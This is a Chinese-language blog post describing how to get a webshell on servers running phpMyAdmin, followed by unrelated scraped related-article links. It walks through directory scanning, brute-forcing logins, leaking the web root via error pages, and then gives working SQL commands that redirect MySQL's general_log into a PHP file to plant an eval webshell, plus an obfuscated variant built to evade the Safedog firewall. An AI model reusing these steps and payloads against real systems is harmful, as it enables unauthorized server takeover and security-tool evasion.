生活就是泥沙俱下,鲜花和荆棘并存。——毕淑敏

1、明确目标
2、信息收集
3、漏洞挖掘和利用

信息收集

明确路径

利用目录扫描工具,对目标网站进行扫描,获取网站目录。常用工具有Kali中的DirBuster、dirb和wwwscan等。
我用的是Kali中的DirBuster,对目标进行扫描。

明确版本

利用内置的文件,(…../phpMyAdmin/README)获取phpMyAdmin的版本信息。

一般网站管理员不会把这个目录删除,所以可以成为我们利用的一个点。

明确登录口令

有两种方法,手工和暴力破解。手工就是用一些弱口令进行猜解。
暴力破解可以用phpMyAdmin多线程批量破解工具来对phpMyAdmin进行暴力破解。

但是工具只是给我们提供参考的,而且工具爆破对phpMyAdmin的版本有一定的要求。

明确系统类型

因为系统版本的不同,对权限的控制是不同的。Linux系统对权限的控制相对严格,而window则相对较为疏散的。所以说对window进行getshell相比Linux要容易。

明确php版本和数据库版本

可以在phpMyAdmin的管理也可以看到php版本、MySQL版本,系统类型。

因为php版本的差异,对渗透的利用是不一样的。

获取网站真实路径

phpinfo()函数直接获取

通过phpinfo.php或者phpinfo()进行获取网站真实路径。

php 大专栏  getshell技巧-phpMyAdmin的利用info.php中会有大量的信息,有php版本、网站路径等。

构造报错页面获取网站真实路径

通过构造报错可能会报出网站的真实路径。常见的有页面访问报错、sql注入报错,文件包含报错。
phpmyadmin报错常见路径:
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php

借助搜索引擎

借助搜索引擎,例如:百度、谷歌、fofa、shadon、zoomeye等,搜索关键字“error”,可能会报出网站的真实路径。

漏洞挖掘和利用

满足写shell的前提条件

SHOW VARIABLES LIKE “%secure_file_priv%”; 查看读写文件路径 “secure_file_priv”对应的值不能为null,为null就不能正常写入shell。

日志写shell

首先需要检测MySQL全局变量(general_log、general_log_file)的值。
general_log是日志保存状态,一共有两个值(ON/OFF),ON代表开启,OFF代表关闭。
general_log_file是日志的保存路径
1、开启日志保存
set global general_log=”ON”;
set global general_log_file=”D:/phpStudy/WWW/infos.php”(网站真实路径)
2、写shell
select ‘<?php eval($_POST[yumu)];?>’
免杀(绕过安全狗)
$arr = array(‘a’,’s’,’s’,’s’,’e’,’r’,’t’);
$func = “”;
for($i=0;$i<count($arr);$i++){
$func = $func.$arr[$i];
}
$func = substr($func,-6);
$func($_REQUEST[‘c’]);

#总结
在利用phpMyAdmin来getshell时,需要注意对网站信息的收集,特别是网站的PHP版本、网站真实路径。这样才能更好的对网站就行漏洞挖掘。

推荐文章

从phpinfo到phpmyadmin的综合渗透利用

getshell技巧-phpMyAdmin的利用的更多相关文章

  1. Cadence技巧01:利用Excel速新建原理图元件库

    Cadence技巧01:利用Excel速新建原理图元件库 听语音 | 浏览:1698 | 更新:2015-07-02 09:41 | 标签:excel 1 2 3 4 5 6 7 分步阅读 一键约师傅 ...

  2. Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上 ...

  3. phpmyadmin漏洞利用general_log和general_log_file拿权限

    我们如果知道phpmyadmin和网站的绝对路径后,可以利用into outfile写马拿到权限,但是吧有新版本的mysql和一些系统设置的问题这个函数受到了secure-file-priv这个的影响 ...

  4. Redis主从复制getshell技巧

    Redis未授权漏洞常见的漏洞利用方式: Windows下,绝对路径写webshell .写入启动项. Linux下,绝对路径写webshell .公私钥认证获取root权限 .利用contrab计划 ...

  5. 【技巧】只利用 Visual Stdio 自带的工具这么找父类?

    很多人说只能 F12 看见子类 其实vs里面有一个叫“对象浏览器” 通过这个就可以直接定位父类,不需要利用reflector之类的工具来找父类 具体如下:

  6. Java从入门到精通——技巧篇之利用dom4j取出XML文件中的数据

    在我们做项目的时候会经常用到XML文件用来配置系统,XML让系统更加的具有了灵活性,Java如何从XML中取出我们想要的数据呢?下面是我利用DOM4J来实现取出XML文件中的数据. XML文件 < ...

  7. CVE-2018-12613 phpmyadmin文件包含getshell连载(三)

    这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...

  8. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  9. phpmyadmin利用的多种方式

    关于phpmyadmin的利用方式大佬们已经总结的很好了,这里只是造轮子(便于记录学习) 确认版本 渗透测试信息搜集永远是首位(也是最重要的一步).     默认目录/doc/html/index ...

随机推荐

  1. Excel VBA发送Email时自动允许Outlook安全对话框

    在Outlook的宏安全性设置如果选择了“为所有宏提供通知” 并且,在[编程访问]中选择了“总是向我发出警告” 在其他VBA中创建邮件过程中,如果修改Recipients或者执行Send方法,都会弹出 ...

  2. Python 生成requirements文件以及使用requirements.txt部署项目

    生成requirements.txt 当你的项目不再你的本地时,为了方便在新环境中配置好环境变量,你的项目需要一个记录其所有依赖包以及它们版本号的文件夹requirements.txt 文件. pip ...

  3. debian下通过scp 上传下载文件

    1.上传本地文件到服务器 scp /path/filename username@servername:/path/ 2.从服务器上下载文件 scp username@servername:/path ...

  4. Monkey通过安装包获取包名

    在monkey命令中,包名常作为一个参数.但我们经常知道apk文件,却不知道包名. 如何获取包名呢? 方法一:AAPT 在SDK的build-tools目录下,aapt工具可以查看,创建,更新zip格 ...

  5. redis day03

    模拟缓存 django-admin startproject rmysite3   创建django项目 python3 manage.py startapp user     创建py应用 33 行 ...

  6. 43)PHP,mysql_fetch_row 和mysql_fetch_assoc和mysql_fetch_array

    mysql_fetch_row   提取的结果是没有查询中的字段名了(也就是没有键id,GoodsName,只有值),如下图: mysql_fetch_assoc 提取的结果有键值,如下图: mysq ...

  7. 401认证钓鱼demo

    <?php //@b4dboy if(!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW'])) ...

  8. rest framework-解析器和渲染器-长期维护

    ###############   解析器   ############### # 解析器----数据解析器, # # 前端发送了json数据,在request的body里面, # 我们需要把json ...

  9. 关于Java中反射的总结

    Java是面向对象的编程语言,万物皆对象,反射技术就是把类声明.类中的字段声明.方法声明.构造函数声明等都看成是对象,从而可以把类中的各个部分拆解出来单独处理,反射技术主要用来编写通用功能,平时编程使 ...

  10. [2015普及组-D]推销员 思维que

    题:https://www.cometoj.com/problem/0221 #include<iostream> #include<cstring> #include< ...